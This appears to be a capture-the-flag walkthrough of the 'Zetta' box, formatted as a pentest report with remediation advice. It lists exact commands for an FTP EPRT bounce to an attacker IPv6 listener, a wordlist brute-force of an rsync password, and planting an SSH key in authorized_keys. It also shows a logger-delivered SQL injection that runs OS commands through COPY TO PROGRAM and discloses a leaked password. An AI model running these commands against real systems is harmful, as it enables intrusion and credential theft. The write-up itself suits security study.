Zetta
Summary
Nmap against <retired-instance-ip> found only TCP 21 (Pure-FTPd, filtered fingerprint) and 80 (nginx). The web root ("Ze::a Share") is a static file-sharing landing page; scraping it for embedded secrets (grep -Eo '[A-Za-z0-9]{32}') surfaced a 32-character alphanumeric token, [REDACTED: recovered credential], which the FTP service accepted as both USER and PASS.
Pure-FTPd advertised IPv6/FXP support. Standard IPv4 access to FTP data channels stalled (timeouts, "too many users", filtered PORT/PASV), so the operator pivoted to abusing FTP's PORT/EPRT bounce behavior plus targeted IPv6 discovery (custom Python FTP clients, nmap -6, and masscan -6) across the box's dead:beef::/64 and dead:beef:2::/64 prefixes. This confirmed a second, IPv6-only service — an rsync daemon on TCP 8730 — reachable at dead:beef::197 (verified via a raw @RSYNCD: 31.0 banner).
The rsync daemon exposed a home_roy module. Authenticating as roy with password [REDACTED: recovered credential] succeeded; the module allowed writes, so an SSH public key was pushed into roy's ~/.ssh/authorized_keys, giving SSH foothold as roy (uid=1000, groups include adm).
From roy, /etc/rsyslog.d/.git (readable via the adm group) revealed a custom ompgsql rsyslog template that inserts the raw log msg field into PostgreSQL without sanitization — a SQL injection sink reachable via the local7 syslog facility. Injecting a crafted message via logger -p local7.info into this template (stacked queries) produced a confirmed injected INSERT in postgresql-11-main.log, and was leveraged to have the postgres OS user write its own ~/.psql_history out to a world-readable file (/tmp/pg_hist). That history disclosed the database setup and the postgres account's password, sup3rs3cur3p4ass@postgres.
The password follows a <secret>@<username> scheme, so the root credential was derived as [REDACTED: recovered credential]. SSHing in as roy and running su - root with that password succeeded, yielding a root shell (uid=0) and both flags.
Chain summary: web-page-leaked FTP token → Pure-FTPd (IPv6-only rsync daemon discovery via FXP/EPRT + IPv6 scanning) → rsync home_roy module (weak/known password [REDACTED: recovered credential]) → SSH pubkey push → foothold as roy → SQL injection in a custom rsyslog → PostgreSQL ompgsql template (local7 facility, unsanitized msg) → password disclosure via postgres's .psql_history → password-scheme reuse (secret@root) → su - root.
Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p 21,22,80 --script=ftp-anon,ftp-syst,http-title $TARGETcurl -s http://$TARGET/ | grep -Eo '[A-Za-z0-9]{32}' | sort -uftp $TARGETFixRemove credentials from all publicly accessible web contentCritical
Exact commands 2
nc -6 -lvnp 4444python3 -c "
import socket, ftplib
ftp = ftplib.FTP()
ftp.connect('$TARGET', 21)
ftp.login('[REDACTED: recovered credential]', '[REDACTED: recovered credential]')
ftp.sendcmd('EPRT |2|<ATTACKER_IPV6>|4444|')
ftp.sendcmd('LIST')
"FixApply firewall rules to IPv6 interfaces equivalent to those on IPv4High
Exact commands 3
nmap -6 -sT -Pn -n -p- --min-rate 2000 dead:beef::197printf '@RSYNCD: 31.0\n' | nc -6 -w5 dead:beef::197 8730rsync -6 rsync://[dead:beef::197]:8730/FixApply firewall rules to IPv6 interfaces equivalent to those on IPv4High
Exact commands 4
grep -E '^.{8}$' /usr/share/wordlists/rockyou.txt > /tmp/8char.txtwhile read -r w; do export RSYNC_PASSWORD="$w"; rsync -6 -q rsync://roy@[dead:beef::197]:8730/home_roy/ &>/dev/null && echo "FOUND: $w" && break; done < /tmp/8char.txtssh-keygen -t ed25519 -N '' -f /tmp/zetta_roy_ed25519export RSYNC_PASSWORD=[REDACTED: recovered credential]; rsync -6 /tmp/zetta_roy_ed25519.pub rsync://roy@[dead:beef::197]:8730/home_roy/.ssh/authorized_keysFixReplace the weak rsync module password and remove write accessHigh
Exact commands 2
ssh -6 -i /tmp/zetta_roy_ed25519 -o StrictHostKeyChecking=no roy@dead:beef::197id && cat ~/user.txtFixReplace the weak rsync module password and remove write accessHigh
Exact commands 3
GIT_DIR=/etc/rsyslog.d/.git git log --onelineGIT_DIR=/etc/rsyslog.d/.git git show [REDACTED: protected value]cat /etc/rsyslog.d/pgsql.confFixParameterise the rsyslog SQL template and restrict the PostgreSQL role's privilegesCritical
Exact commands 2
logger -p local7.info "'); SELECT 1; COPY (SELECT '') TO PROGRAM $$cp /var/lib/postgresql/.psql_history /tmp/pg_hist && chmod 644 /tmp/pg_hist$$; --"cat /tmp/pg_histFixParameterise the rsyslog SQL template and restrict the PostgreSQL role's privilegesCritical
Exact commands 3
cat ~/.tudu.xmlsu - rootid && cat /root/root.txtFixEliminate predictable password patterns shared across accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Findings
Exposed services
| 21/tcp | ftp? |
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0) |
| 80/tcp | http nginx |